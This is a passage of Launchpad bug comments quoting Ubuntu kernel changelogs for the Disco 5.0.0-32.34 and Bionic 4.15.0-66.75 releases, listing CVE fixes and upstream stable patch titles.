for Disco as well when doing so. + +This bug was fixed in the package linux - 5.0.0-32.34 + +--------------- +linux (5.0.0-32.34) disco; urgency=medium + + * disco/linux: 5.0.0-32.34 -proposed tracker (LP: #1846097) + + * CVE-2019-14814 // CVE-2019-14815 // CVE-2019-14816 + - mwifiex: Fix three heap overflow at parsing element in cfg80211_ap_settings + + * CVE-2019-15505 + - media: technisat-usb2: break out of loop at end of buffer + + * CVE-2019-2181 + - binder: check for overflow when alloc for security context + + * Support Hi1620 zip hw accelerator (LP: #1845355) + - [Config] Enable HiSilicon QM/ZIP as modules + - crypto: hisilicon - add queue management driver for HiSilicon QM module + - crypto: hisilicon - add hardware SGL support + - crypto: hisilicon - add HiSilicon ZIP accelerator support + - crypto: hisilicon - add SRIOV support for ZIP + - Documentation: Add debugfs doc for hisi_zip + - crypto: hisilicon - add debugfs for ZIP and QM + - MAINTAINERS: add maintainer for HiSilicon QM and ZIP controller driver + - crypto: hisilicon - fix kbuild warnings + - crypto: hisilicon - add dependency for CRYPTO_DEV_HISI_ZIP + - crypto: hisilicon - init curr_sgl_dma to fix compile warning + - crypto: hisilicon - add missing single_release + - crypto: hisilicon - fix error handle in hisi_zip_create_req_q + - crypto: hisilicon - Fix warning on printing %p with dma_addr_t + - crypto: hisilicon - Fix return value check in hisi_zip_acompress() + - crypto: hisilicon - avoid unused function warning + + * xfrm interface: several kernel panic (LP: #1836261) + - xfrm interface: fix memory leak on creation + - xfrm interface: avoid corruption on changelink + - xfrm interface: ifname may be wrong in logs + - xfrm interface: fix list corruption for x-netns + - xfrm interface: fix management of phydev + + * shiftfs: drop entries from cache on unlink (LP: #1841977) + - SAUCE: shiftfs: fix buggy unlink logic + + * shiftfs: mark kmem_cache as reclaimable (LP: #1842059) + - SAUCE: shiftfs: mark slab objects SLAB_RECLAIM_ACCOUNT + + * Suspend to RAM(S3) does not wake up for latest megaraid and mpt3sas + adapters(SAS3.5 onwards) (LP: #1838751) + - PCI: Restore Resizable BAR size bits correctly for 1MB BARs + + * No sound inputs from the external microphone and headset on a Dell machine + (LP: #1842265) + - ALSA: hda - Expand pin_match function to match upcoming new tbls + - ALSA: hda - Define a fallback_pin_fixup_tbl for alc269 family + + * Add -fcf-protection=none when using retpoline flags (LP: #1843291) + - SAUCE: kbuild: add -fcf-protection=none when using retpoline flags + + * Disco update: upstream stable patchset 2019-09-25 (LP: #1845390) + - bridge/mdb: remove wrong use of NLM_F_MULTI + - cdc_ether: fix rndis support for Mediatek based smartphones + - ipv6: Fix the link time qualifier of 'ping_v6_proc_exit_net()' + - isdn/capi: check message length in capi_write() + - ixgbe: Fix secpath usage for IPsec TX offload. + - net: Fix null de-reference of device refcount + - net: gso: Fix skb_segment splat when splitting gso_size mangled skb having + linear-headed frag_list + - net: phylink: Fix flow control resolution + - net: sched: fix reordering issues + - sch_hhf: ensure quantum and hhf_non_hh_weight are non-zero + - sctp: Fix the link time qualifier of 'sctp_ctrlsock_exit()' + - sctp: use transport pf_retrans in sctp_do_8_2_transport_strike + - tcp: fix tcp_ecn_withdraw_cwr() to clear TCP_ECN_QUEUE_CWR + - tipc: add NULL pointer check before calling kfree_rcu + - tun: fix use-after-free when register netdev failed + - gpiolib: acpi: Add gpiolib_acpi_run_edge_events_on_boot option and blacklist + - gpio: fix line flag validation in linehandle_create + - Btrfs: fix assertion failure during fsync and use of stale transaction + - ixgbe: Prevent u8 wrapping of ITR value to something less than 10us + - genirq: Prevent NULL pointer dereference in resend_irqs() + - KVM: s390: kvm_s390_vm_start_migration: check dirty_bitmap before using it + as target for memset() + - KVM: s390: Do not leak kernel stack data in the KVM_S390_INTERRUPT ioctl + - KVM: x86: work around leak of uninitialized stack contents + - KVM: nVMX: handle page fault in vmread + - x86/purgatory: Change compiler flags from -mcmodel=kernel to -mcmodel=large + to fix kexec relocation errors + - powerpc: Add barrier_nospec to raw_copy_in_user() + - drm/meson: Add support for XBGR8888 & ABGR8888 formats + - clk: rockchip: Don't yell about bad mmc phases when getting + - mtd: rawnand: mtk: Fix wrongly assigned OOB buffer pointer issue + - PCI: Always allow probing with driver_override + - gpio: fix line flag validation in lineevent_create + - ubifs: Correctly use tnc_next() in search_dh_cookie() + - driver core: Fix use-after-free and double free on glue directory + - crypto: talitos - check AES key size + - crypto: talitos - fix CTR alg blocksize + - crypto: talitos - check data blocksize in ablkcipher. + - crypto: talitos - fix ECB algs ivsize + - crypto: talitos - Do not modify req->cryptlen on decryption. + - crypto: talitos - HMAC SNOOP NO AFEU mode requires SW icv checking. + - firmware: ti_sci: Always request response from firmware + - drm: panel-orientation-quirks: Add extra quirk table entry for GPD MicroPC + - drm/mediatek: mtk_drm_drv.c: Add of_node_put() before goto + - Revert "Bluetooth: btusb: driver to enable the usb-wakeup feature" + - iio: adc: stm32-dfsdm: fix data type + - modules: fix BUG when load module with rodata=n + - modules: fix compile error if don't have strict module rwx + - platform/x86: pmc_atom: Add CB4063 Beckhoff Automation board to + critclk_systems DMI table + - rsi: fix a double free bug in rsi_91x_deinit() + - x86/build: Add -Wnoaddress-of-packed-member to REALMODE_CFLAGS, to silence + GCC9 build warning + - ixgbevf: Fix secpath usage for IPsec Tx offload + - net: fixed_phy: Add forward declaration for struct gpio_desc; + - net: sock_map, fix missing ulp check in sock hash case + - Revert "mmc: bcm2835: Terminate timeout work synchronously" + - mmc: tmio: Fixup runtime PM management during probe + - mmc: tmio: Fixup runtime PM management during remove + - drm/i915: Restore relaxed padding (OCL_OOB_SUPPRES_ENABLE) for skl+ + - ixgbe: fix double clean of Tx descriptors with xdp + - mt76: mt76x0e: disable 5GHz band for MT7630E + - x86/ima: check EFI SetupMode too + - kvm: nVMX: Remove unnecessary sync_roots from handle_invept + - KVM: SVM: Fix detection of AMD Errata 1096 + + * Disco update: upstream stable patchset 2019-09-19 (LP: #1844722) + - ALSA: hda - Fix potential endless loop at applying quirks + - ALSA: hda/realtek - Fix overridden device-specific initialization + - ALSA: hda/realtek - Add quirk for HP Pavilion 15 + - ALSA: hda/realtek - Enable internal speaker & headset mic of ASUS UX431FL + - ALSA: hda/realtek - Fix the problem of two front mics on a ThinkCentre + - sched/fair: Don't assign runtime for throttled cfs_rq + - drm/vmwgfx: Fix double free in vmw_recv_msg() + - vhost/test: fix build for vhost test + - vhost/test: fix build for vhost test - again + - batman-adv: fix uninit-value in batadv_netlink_get_ifindex() + - batman-adv: Only read OGM tvlv_len after buffer len check + - timekeeping: Use proper ktime_add when adding nsecs in coarse offset + - selftests: fib_rule_tests: use pre-defined DEV_ADDR + - powerpc/64: mark start_here_multiplatform as __ref + - media: stm32-dcmi: fix irq = 0 case + - scripts/decode_stacktrace: match basepath using shell prefix operator, not + regex + - nvme-fc: use separate work queue to avoid warning + - modules: always page-align module section allocations + - kernel/module: Fix mem leak in module_add_modinfo_attrs + - drm/vblank: Allow dynamic per-crtc max_vblank_count + - mfd: Kconfig: Fix I2C_DESIGNWARE_PLATFORM dependencies + - tpm: Fix some name collisions with drivers/char/tpm.h + - drm/nouveau: Don't WARN_ON VCPI allocation failures + - drm: add __user attribute to ptr_to_compat() + - drm/i915: Handle vm_mmap error during I915_GEM_MMAP ioctl with WC set + - drm/i915: Sanity check mmap length against object size + - arm64: dts: stratix10: add the sysmgr-syscon property from the gmac's + - kvm: mmu: Fix overflow on kvm mmu page limit calculation + - KVM: x86: Always use 32-bit SMRAM save state for 32-bit kernels + - media: i2c: tda1997x: select V4L2_FWNODE + - ext4: protect journal inode's blocks using block_validity + - ARM: dts: qcom: ipq4019: Fix MSI IRQ type + - dt-bindings: mmc: Add supports-cqe property + - dt-bindings: mmc: Add disable-cqe-dcmd property. + - dm mpath: fix missing call of path selector type->end_io + - mmc: sdhci-pci: Add support for Intel CML + - PCI: dwc: Use devm_pci_alloc_host_bridge() to simplify code + - cifs: smbd: take an array of reqeusts when sending upper layer data + - drm/amdkfd: Add missing Polaris10 ID + - kvm: Check irqchip mode before assign irqfd + - Btrfs: fix race between block group removal and block group allocation + - cifs: add spinlock for the openFileList to cifsInodeInfo + - ceph: use ceph_evict_inode to cleanup inode's resource + - KVM: x86: optimize check for valid PAT value + - KVM: VMX: Always signal #GP on WRMSR to MSR_IA32_CR_PAT with bad value + - btrfs: correctly validate compression type + - dm thin metadata: check if in fail_io mode when setting needs_check + - bcache: only clear BTREE_NODE_dirty bit when it is set + - bcache: add comments for mutex_lock(&b->write_lock) + - bcache: fix race in btree_flush_write() + - drm/i915: Make sure cdclk is high enough for DP audio on VLV/CHV + - virtio/s390: fix race on airq_areas[] + - ext4: don't perform block validity checks on the journal inode + - ext4: fix block validity checks for journal inodes using indirect blocks + - ext4: unsigned int compared against zero + - PCI: Reset both NVIDIA GPU and HDA in ThinkPad P50 workaround + - gpio: pca953x: correct type of reg_direction + - gpio: pca953x: use pca953x_read_regs instead of regmap_bulk_read + - drm/nouveau/sec2/gp102: add missing MODULE_FIRMWAREs + - powerpc/64e: Drop stale call to smp_processor_id() which hangs SMP startup + - drm/i915: Disable SAMPLER_STATE prefetching on all Gen11 steppings. + - mmc: sdhci-sprd: Fix the incorrect soft reset operation when runtime + resuming + - usb: chipidea: imx: add imx7ulp support + - usb: chipidea: imx: fix EPROBE_DEFER support during driver probe + + * Disco update: upstream stable patchset 2019-09-11 (LP: #1843622) + - dmaengine: ste_dma40: fix unneeded variable warning + - nvme-multipath: revalidate nvme_ns_head gendisk in nvme_validate_ns + - afs: Fix the CB.ProbeUuid service handler to reply correctly + - afs: Fix loop index mixup in afs_deliver_vl_get_entry_by_name_u() + - fs: afs: Fix a possible null-pointer dereference in afs_put_read() + - afs: Only update d_fsdata if different in afs_d_revalidate() + - nvmet-loop: Flush nvme_delete_wq when removing the port + - nvme: fix a possible deadlock when passthru commands sent to a multipath + device + - nvme-pci: Fix async probe remove race + - soundwire: cadence_master: fix register definition for SLAVE_STATE + - soundwire: cadence_master: fix definitions for INTSTAT0/1 + - auxdisplay: panel: need to delete scan_timer when misc_register fails in + panel_attach + - dmaengine: stm32-mdma: Fix a possible null-pointer dereference in + stm32_mdma_irq_handler() + - omap-dma/omap_vout_vrfb: fix off-by-one fi value + - iommu/dma: Handle SG length overflow better + - usb: gadget: composite: Clear "suspended" on reset/disconnect + - usb: gadget: mass_storage: Fix races between fsg_disable and fsg_set_alt + - xen/blkback: fix memory leaks + - arm64: cpufeature: Don't treat granule sizes as strict + - i2c: rcar: avoid race when unregistering slave client + - i2c: emev2: avoid race when unregistering slave client + - drm/ast: Fixed reboot test may cause system hanged + - usb: host: fotg2: restart hcd after port reset + - tools: hv: fixed Python pep8/flake8 warnings for lsvmbus + - tools: hv: fix KVP and VSS daemons exit code + - watchdog: bcm2835_wdt: Fix module autoload + - drm/bridge: tfp410: fix memleak in get_modes() + - scsi: ufs: Fix RX_TERMINATION_FORCE_ENABLE define value + - drm/tilcdc: Register cpufreq notifier after we have initialized crtc + - net/tls: swap sk_write_space on close + - net: tls, fix sk_write_space NULL write when tx disabled + - ipv6/addrconf: allow adding multicast addr if IFA_F_MCAUTOJOIN is set + - ipv6: Default fib6_type to RTN_UNICAST when not set + - net/smc: make sure EPOLLOUT is raised + - tcp: make sure EPOLLOUT wont be missed + - ipv4/icmp: fix rt dst dev null pointer dereference + - mm/zsmalloc.c: fix build when CONFIG_COMPACTION=n + - ALSA: usb-audio: Check mixer unit bitmap yet more strictly + - ALSA: line6: Fix memory leak at line6_init_pcm() error path + - ALSA: hda - Fixes inverted Conexant GPIO mic mute led + - ALSA: seq: Fix potential concurrent access to the deleted pool + - ALSA: usb-audio: Fix invalid NULL check in snd_emuusb_set_samplerate() + - ALSA: usb-audio: Add implicit fb quirk for Behringer UFX1604 + - kvm: x86: skip populating logical dest map if apic is not sw enabled + - KVM: x86: Don't update RIP or do single-step on faulting emulation + - uprobes/x86: Fix detection of 32-bit user mode + - x86/apic: Do not initialize LDR and DFR for bigsmp + - ftrace: Fix NULL pointer dereference in t_probe_next() + - ftrace: Check for successful allocation of hash + - ftrace: Check for empty hash and comment the race with registering probes + - usb-storage: Add new JMS567 revision to unusual_devs + - USB: cdc-wdm: fix race between write and disconnect due to flag abuse + - usb: hcd: use managed device resources + - usb: chipidea: udc: don't do hardware access if gadget has stopped + - usb: host: ohci: fix a race condition between shutdown and irq + - usb: host: xhci: rcar: Fix typo in compatible string matching + - USB: storage: ums-realtek: Update module parameter description for + auto_delink_en + - mei: me: add Tiger Lake point LP device ID + - mmc: sdhci-of-at91: add quirk for broken HS200 + - mmc: core: Fix init of SD cards reporting an invalid VDD range + - stm class: Fix a double free of stm_source_device + - intel_th: pci: Add support for another Lewisburg PCH + - intel_th: pci: Add Tiger Lake support + - typec: tcpm: fix a typo in the comparison of pdo_max_voltage + - fsi: scom: Don't abort operations for minor errors + - lib: logic_pio: Fix RCU usage + - lib: logic_pio: Avoid possible overlap for unregistering regions + - lib: logic_pio: Add logic_pio_unregister_range() + - drm/amdgpu: Add APTX quirk for Dell Latitude 5495 + - drm/i915: Don't deballoon unused ggtt drm_mm_node in linux guest + - drm/i915: Call dma_set_max_seg_size() in i915_driver_hw_probe() + - bus: hisi_lpc: Unregister logical PIO range to avoid potential use-after- + free + - bus: hisi_lpc: Add .remove method to avoid driver unbind crash + - VMCI: Release resource if the work is already queued + - crypto: ccp - Ignore unconfigured CCP device on suspend/resume + - Revert "cfg80211: fix processing world regdomain when non modular" + - mac80211: fix possible sta leak + - mac80211: Don't memset RXCB prior to PAE intercept + - mac80211: Correctly set noencrypt for PAE frames + - KVM: PPC: Book3S HV: Avoid lockdep debugging in TCE realmode handlers + - KVM: PPC: Book3S: Fix incorrect guest-to-user-translation error handling + - KVM: arm/arm64: vgic: Fix potential deadlock when ap_list is long + - KVM: arm/arm64: vgic-v2: Handle SGI bits in GICD_I{S,C}PENDR0 as WI + - NFS: Clean up list moves of struct nfs_page + - NFSv4/pnfs: Fix a page lock leak in nfs_pageio_resend() + - NFS: Pass error information to the pgio error cleanup routine + - NFS: Ensure O_DIRECT reports an error if the bytes read/written is 0 + - i2c: piix4: Fix port selection for AMD Family 16h Model 30h + - x86/ptrace: fix up botched merge of spectrev1 fix + - mt76: mt76x0u: do not reset radio on resume + - Revert "ASoC: Fail card instantiation if DAI format setup fails" + - nvmet: Fix use-after-free bug when a port is removed + - nvmet-file: fix nvmet_file_flush() always returning an error + - nvme-rdma: fix possible use-after-free in connect error flow + - nvme: fix controller removal race with scan work + - IB/mlx5: Fix implicit MR release flow + - dma-direct: don't truncate dma_required_mask to bus addressing capabilities + - riscv: fix flush_tlb_range() end address for flush_tlb_page() + - drm/scheduler: use job count instead of peek + - locking/rwsem: Add missing ACQUIRE to read_slowpath exit when queue is empty + - lcoking/rwsem: Add missing ACQUIRE to read_slowpath sleep loop + - selftests/bpf: install files test_xdp_vlan.sh + - ALSA: hda/ca0132 - Add new SBZ quirk + - KVM: x86: hyper-v: don't crash on KVM_GET_SUPPORTED_HV_CPUID when + kvm_intel.nested is disabled + - x86/mm/cpa: Prevent large page split when ftrace flips RW on kernel text + - usbtmc: more sanity checking for packet size + - mmc: sdhci-cadence: enable v4_mode to fix ADMA 64-bit addressing + - mmc: sdhci-sprd: fixed incorrect clock divider + - mmc: sdhci-sprd: add SDHCI_QUIRK2_PRESET_VALUE_BROKEN + - mms: sdhci-sprd: add SDHCI_QUIRK_BROKEN_CARD_DETECTION + - mmc: sdhci-sprd: clear the UHS-I modes read from registers + - mmc: sdhci-sprd: Implement the get_max_timeout_count() interface + - mmc: sdhci-sprd: add get_ro hook function + - drm/i915/dp: Fix DSC enable code to use cpu_transcoder instead of + encoder->type + - hsr: implement dellink to clean up resources + - hsr: fix a NULL pointer deref in hsr_dev_xmit() + - hsr: switch ->dellink() to ->ndo_uninit() + - Revert "Input: elantech - enable SMBus on new (2018+) systems" + - mld: fix memory leak in mld_del_delrec() + - net: fix skb use after free in netpoll + - net: sched: act_sample: fix psample group handling on overwrite + - net_sched: fix a NULL pointer deref in ipt action + - net: stmmac: dwmac-rk: Don't fail if phy regulator is absent + - tcp: inherit timestamp on mtu probe + - tcp: remove empty skb from write queue in error cases + - x86/boot: Preserve boot_params.secure_boot from sanitizing + - spi: bcm2835aux: unifying code between polling and interrupt driven code + - spi: bcm2835aux: remove dangerous uncontrolled read of fifo + - spi: bcm2835aux: fix corruptions for longer spi transfers + - net: tundra: tsi108: use spin_lock_irqsave instead of spin_lock_irq in IRQ + context + - netfilter: nf_tables: use-after-free in failing rule with bound set + - tools: bpftool: fix error message (prog -> object) + - hv_netvsc: Fix a warning of suspicious RCU usage + - net: tc35815: Explicitly check NET_IP_ALIGN is not zero in tc35815_rx + - Bluetooth: btqca: Add a short delay before downloading the NVM + - ibmveth: Convert multicast list size for little-endian system + - gpio: Fix build error of function redefinition + - netfilter: nft_flow_offload: skip tcp rst and fin packets + - drm/mediatek: use correct device to import PRIME buffers + - drm/mediatek: set DMA max segment size + - scsi: qla2xxx: Fix gnl.l memory leak on adapter init failure + - scsi: target: tcmu: avoid use-after-free after command timeout + - cxgb4: fix a memory leak bug + - liquidio: add cleanup in octeon_setup_iq() + - net: myri10ge: fix memory leaks + - lan78xx: Fix memory leaks + - vfs: fix page locking deadlocks when deduping files + - cx82310_eth: fix a memory leak bug + - net: kalmia: fix memory leaks + - ibmvnic: Unmap DMA address of TX descriptor buffers after use + - net: cavium: fix driver name + - wimax/i2400m: fix a memory leak bug + - ravb: Fix use-after-free ravb_tstamp_skb + - kprobes: Fix potential deadlock in kprobe_optimizer() + - HID: cp2112: prevent sleeping function called from invalid context + - x86/boot/compressed/64: Fix boot on machines with broken E820 table + - Input: hyperv-keyboard: Use in-place iterator API in the channel callback + - Tools: hv: kvp: eliminate 'may be used uninitialized' warning + - nvme-multipath: fix possible I/O hang when paths are updated + - IB/mlx4: Fix memory leaks + - infiniband: hfi1: fix a memory leak bug + - infiniband: hfi1: fix memory leaks + - selftests: kvm: fix state save/load on processors without XSAVE + - selftests/kvm: make platform_info_test pass on AMD + - ceph: fix buffer free while holding i_ceph_lock in __ceph_setxattr() + - ceph: fix buffer free while holding i_ceph_lock in + __ceph_build_xattrs_blob() + - ceph: fix buffer free while holding i_ceph_lock in fill_inode() + - KVM: arm/arm64: Only skip MMIO insn once + - afs: Fix leak in afs_lookup_cell_rcu() + - KVM: arm/arm64: VGIC: Properly initialise private IRQ affinity + - x86/boot/compressed/64: Fix missing initialization in + find_trampoline_placement() + - libceph: allow ceph_buffer_put() to receive a NULL ceph_buffer + - Revert "r8152: napi hangup fix after disconnect" + - r8152: remove calling netif_napi_del + - batman-adv: Fix netlink dumping of all mcast_flags buckets + - libbpf: fix erroneous multi-closing of BTF FD + - libbpf: set BTF FD for prog only when there is supported .BTF.ext data + - netfilter: nf_flow_table: fix offload for flows that are subject to xfrm + - clk: samsung: Change signature of exynos5_subcmus_init() function + - clk: samsung: exynos5800: Move MAU subsystem clocks to MAU sub-CMU + - clk: samsung: exynos542x: Move MSCL subsystem clocks to its sub-CMU + - netfilter: nf_flow_table: conntrack picks up expired flows + - netfilter: nf_flow_table: teardown flow timeout race + - ixgbe: fix possible deadlock in ixgbe_service_task() + - nvme: Fix cntlid validation when not using NVMEoF + - RDMA/cma: fix null-ptr-deref Read in cma_cleanup + - RDMA/bnxt_re: Fix stack-out-of-bounds in bnxt_qplib_rcfw_send_message + - gpio: Fix irqchip initialization order + + * New ID in ums-realtek module breaks cardreader (LP: #1838886) // Disco + update: upstream stable patchset 2019-09-11 (LP: #1843622) + - USB: storage: ums-realtek: Whitelist auto-delink support + + * ipv4: enable route flushing in network namespaces (LP: #1836912) + - ipv4: enable route flushing in network namespaces + + * Enhanced Hardware Support - Finalize Naming (LP: #1842774) + - s390: add support for IBM z15 machines + + * CVE-2019-16714 + - net/rds: Fix info leak in rds6_inc_info_copy() + + * CVE-2019-14821 + - KVM: coalesced_mmio: add bounds checking + + -- Khalid Elmously <email address hidden> Mon, 30 Sep 2019 23:52:23 -0400 + +This bug was fixed in the package linux - 4.15.0-66.75 + +--------------- +linux (4.15.0-66.75) bionic; urgency=medium + + * bionic/linux: 4.15.0-66.75 -proposed tracker (LP: #1846131) + + * Packaging resync (LP: #1786013) + - [Packaging] update helper scripts + + * CVE-2018-21008 + - rsi: add fix for crash during assertions + + * ipv6: fix neighbour resolution with raw socket (LP: #1834465) + - ipv6: constify rt6_nexthop() + - ipv6: fix neighbour resolution with raw socket + + * run_netsocktests from net in ubuntu_kernel_selftests failed with X-4.15 + (LP: #1842023) + - SAUCE: selftests: net: replace AF_MAX with INT_MAX in socket.c + + * No sound inputs from the external microphone and headset on a Dell machine + (LP: #1842265) + - ALSA: hda - Expand pin_match function to match upcoming new tbls + - ALSA: hda - Define a fallback_pin_fixup_tbl for alc269 family + + * Add -fcf-protection=none when using retpoline flags (LP: #1843291) + - SAUCE: kbuild: add -fcf-protection=none when using retpoline flags + + * Enhanced Hardware Support - Finalize Naming (LP: #1842774) + - s390: add support for IBM z15 machines + + * Bionic update: upstream stable patchset 2019-09-24 (LP: #1845266) + - bridge/mdb: remove wrong use of NLM_F_MULTI + - cdc_ether: fix rndis support for Mediatek based smartphones + - ipv6: Fix the link time qualifier of 'ping_v6_proc_exit_net()' + - isdn/capi: check message length in capi_write() + - net: Fix null de-reference of device refcount + - net: gso: Fix skb_segment splat when splitting gso_size mangled skb having + linear-headed frag_list + - net: phylink: Fix flow control resolution + - sch_hhf: ensure quantum and hhf_non_hh_weight are non-zero + - sctp: Fix the link time qualifier of 'sctp_ctrlsock_exit()' + - sctp: use transport pf_retrans in sctp_do_8_2_transport_strike + - tcp: fix tcp_ecn_withdraw_cwr() to clear TCP_ECN_QUEUE_CWR + - tipc: add NULL pointer check before calling kfree_rcu + - tun: fix use-after-free when register netdev failed + - btrfs: compression: add helper for type to string conversion + - btrfs: correctly validate compression type + - Revert "MIPS: SiByte: Enable swiotlb for SWARM, LittleSur and BigSur" + - gpiolib: acpi: Add gpiolib_acpi_run_edge_events_on_boot option and blacklist + - gpio: fix line flag validation in linehandle_create + - gpio: fix line flag validation in lineevent_create + - Btrfs: fix assertion failure during fsync and use of stale transaction + - genirq: Prevent NULL pointer dereference in resend_irqs() + - KVM: s390: Do not leak kernel stack data in the KVM_S390_INTERRUPT ioctl + - KVM: x86: work around leak of uninitialized stack contents + - KVM: nVMX: handle page fault in vmread + - MIPS: VDSO: Prevent use of smp_processor_id() + - MIPS: VDSO: Use same -m%-float cflag as the kernel proper + - powerpc: Add barrier_nospec to raw_copy_in_user() + - drm/meson: Add support for XBGR8888 & ABGR8888 formats + - clk: rockchip: Don't yell about bad mmc phases when getting + - mtd: rawnand: mtk: Fix wrongly assigned OOB buffer pointer issue + - PCI: Always allow probing with driver_override + - ubifs: Correctly use tnc_next() in search_dh_cookie() + - driver core: Fix use-after-free and double free on glue directory + - crypto: talitos - check AES key size + - crypto: talitos - fix CTR alg blocksize + - crypto: talitos - check data blocksize in ablkcipher. + - crypto: talitos - fix ECB algs ivsize + - crypto: talitos - Do not modify req->cryptlen on decryption. + - crypto: talitos - HMAC SNOOP NO AFEU mode requires SW icv checking. + - firmware: ti_sci: Always request response from firmware + - drm/mediatek: mtk_drm_drv.c: Add of_node_put() before goto + - Revert "Bluetooth: btusb: driver to enable the usb-wakeup feature" + - platform/x86: pmc_atom: Add CB4063 Beckhoff Automation board to + critclk_systems DMI table + - nvmem: Use the same permissions for eeprom as for nvmem + - x86/build: Add -Wnoaddress-of-packed-member to REALMODE_CFLAGS, to silence + GCC9 build warning + - ixgbe: Prevent u8 wrapping of ITR value to something less than 10us + - x86/purgatory: Change compiler flags from -mcmodel=kernel to -mcmodel=large + to fix kexec relocation errors + - modules: fix BUG when load module with rodata=n + - modules: fix compile error if don't have strict module rwx + - HID: wacom: generic: read HID_DG_CONTACTMAX from any feature report + - Input: elan_i2c - remove Lenovo Legion Y7000 PnpID + - powerpc/mm/radix: Use the right page size for vmemmap mapping + - USB: usbcore: Fix slab-out-of-bounds bug during device reset + - phy: renesas: rcar-gen3-usb2: Disable clearing VBUS in over-current + - media: tm6000: double free if usb disconnect while streaming + - xen-netfront: do not assume sk_buff_head list is empty in error handling + - net_sched: let qdisc_put() accept NULL pointer + - KVM: coalesced_mmio: add bounds checking + - firmware: google: check if size is valid when decoding VPD data + - serial: sprd: correct the wrong sequence of arguments + - tty/serial: atmel: reschedule TX after RX was started + - mwifiex: Fix three heap overflow at parsing element in cfg80211_ap_settings + - nl80211: Fix possible Spectre-v1 for CQM RSSI thresholds + - ARM: OMAP2+: Fix missing SYSC_HAS_RESET_STATUS for dra7 epwmss + - s390/bpf: fix lcgr instruction encoding + - ARM: OMAP2+: Fix omap4 errata warning on other SoCs + - ARM: dts: dra74x: Fix iodelay configuration for mmc3 + - s390/bpf: use 32-bit index for tail calls + - fpga: altera-ps-spi: Fix getting of optional confd gpio + - netfilter: xt_nfacct: Fix alignment mismatch in xt_nfacct_match_info + - NFSv4: Fix return values for nfs4_file_open() + - NFSv4: Fix return value in nfs_finish_open() + - NFS: Fix initialisation of I/O result struct in nfs_pgio_rpcsetup + - Kconfig: Fix the reference to the IDT77105 Phy driver in the description of + ATM_NICSTAR_USE_IDT77105 + - qed: Add cleanup in qed_slowpath_start() + - ARM: 8874/1: mm: only adjust sections of valid mm structures + - batman-adv: Only read OGM2 tvlv_len after buffer len check + - r8152: Set memory to all 0xFFs on failed reg reads + - x86/apic: Fix arch_dynirq_lower_bound() bug for DT enabled machines + - netfilter: nf_conntrack_ftp: Fix debug output + - NFSv2: Fix eof handling + - NFSv2: Fix write regression + - kallsyms: Don't let kallsyms_lookup_size_offset() fail on retrieving the + first symbol + - cifs: set domainName when a domain-key is used in multiuser + - cifs: Use kzfree() to zero out the password + - ARM: 8901/1: add a criteria for pfn_valid of arm + - sky2: Disable MSI on yet another ASUS boards (P6Xxxx) + - i2c: designware: Synchronize IRQs when unregistering slave client + - perf/x86/intel: Restrict period on Nehalem + - perf/x86/amd/ibs: Fix sample bias for dispatched micro-ops + - amd-xgbe: Fix error path in xgbe_mod_init() + - tools/power x86_energy_perf_policy: Fix "uninitialized variable" warnings at + -O2 + - tools/power x86_energy_perf_policy: Fix argument parsing + - tools/power turbostat: fix buffer overrun + - net: seeq: Fix the function used to release some memory in an error handling + path + - dmaengine: ti: dma-crossbar: Fix a memory leak bug + - dmaengine: ti: omap-dma: Add cleanup in omap_dma_probe() + - x86/uaccess: Don't leak the AC flags into __get_user() argument evaluation + - x86/hyper-v: Fix overflow bug in fill_gva_list() + - keys: Fix missing null pointer check in request_key_auth_describe() + - iommu/amd: Flush old domains in kdump kernel + - iommu/amd: Fix race in increase_address_space() + - PCI: kirin: Fix section mismatch warning + - floppy: fix usercopy direction + - binfmt_elf: move brk out of mmap when doing direct loader exec + - tcp: Reset send_head when removing skb from write-queue + - tcp: Don't dequeue SYN/FIN-segments from write-queue + - media: technisat-usb2: break out of loop at end of buffer + - tools: bpftool: close prog FD before exit on showing a single program + - netfilter: xt_physdev: Fix spurious error message in physdev_mt_check + - ibmvnic: Do not process reset during or after device removal + - net: aquantia: fix out of memory condition on rx side + + * Bionic update: upstream stable patchset 2019-09-18 (LP: #1844558) + - ALSA: hda - Fix potential endless loop at applying quirks + - ALSA: hda/realtek - Fix overridden device-specific initialization + - ALSA: hda/realtek - Fix the problem of two front mics on a ThinkCentre + - sched/fair: Don't assign runtime for throttled cfs_rq + - drm/vmwgfx: Fix double free in vmw_recv_msg() + - xfrm: clean up xfrm protocol checks + - PCI: designware-ep: Fix find_first_zero_bit() usage + - PCI: dra7xx: Fix legacy INTD IRQ handling + - vhost/test: fix build for vhost test + - batman-adv: fix uninit-value in batadv_netlink_get_ifindex() + - batman-adv: Only read OGM tvlv_len after buffer len check + - hv_sock: Fix hang when a connection is closed + - powerpc/64: mark start_here_multiplatform as __ref + - arm64: dts: rockchip: enable usb-host regulators at boot on rk3328-rock64 + - scripts/decode_stacktrace: match basepath using shell prefix operator, not + regex + - clk: s2mps11: Add used attribute to s2mps11_dt_match + - kernel/module: Fix mem leak in module_add_modinfo_attrs + - ALSA: hda/realtek - Enable internal speaker & headset mic of ASUS UX431FL + - {nl,mac}80211: fix interface combinations on crypto controlled devices + - x86/ftrace: Fix warning and considate ftrace_jmp_replace() and + ftrace_call_replace() + - media: stm32-dcmi: fix irq = 0 case + - modules: always page-align module section allocations + - scsi: qla2xxx: Move log messages before issuing command to firmware + - keys: Fix the use of the C++ keyword "private" in uapi/linux/keyctl.h + - Drivers: hv: kvp: Fix two "this statement may fall through" warnings + - remoteproc: qcom: q6v5-mss: add SCM probe dependency + - KVM: x86: hyperv: enforce vp_index < KVM_MAX_VCPUS + - KVM: x86: hyperv: consistently use 'hv_vcpu' for 'struct kvm_vcpu_hv' + variables + - drm/i915: Fix intel_dp_mst_best_encoder() + - drm/i915: Rename PLANE_CTL_DECOMPRESSION_ENABLE + - drm/i915/gen9+: Fix initial readout for Y tiled framebuffers + - drm/atomic_helper: Disallow new modesets on unregistered connectors + - Drivers: hv: kvp: Fix the indentation of some "break" statements + - Drivers: hv: kvp: Fix the recent regression caused by incorrect clean-up + - drm/amd/dm: Understand why attaching path/tile properties are needed + - ARM: davinci: da8xx: define gpio interrupts as separate resources + - ARM: davinci: dm365: define gpio interrupts as separate resources + - ARM: davinci: dm646x: define gpio interrupts as separate resources + - ARM: davinci: dm355: define gpio interrupts as separate resources + - ARM: davinci: dm644x: define gpio interrupts as separate resources + - media: vim2m: use workqueue + - media: vim2m: use cancel_delayed_work_sync instead of flush_schedule_work + - drm/i915: Restore sane defaults for KMS on GEM error load + - KVM: PPC: Book3S HV: Fix race between kvm_unmap_hva_range and MMU mode + switch + - Btrfs: clean up scrub is_dev_replace parameter + - Btrfs: 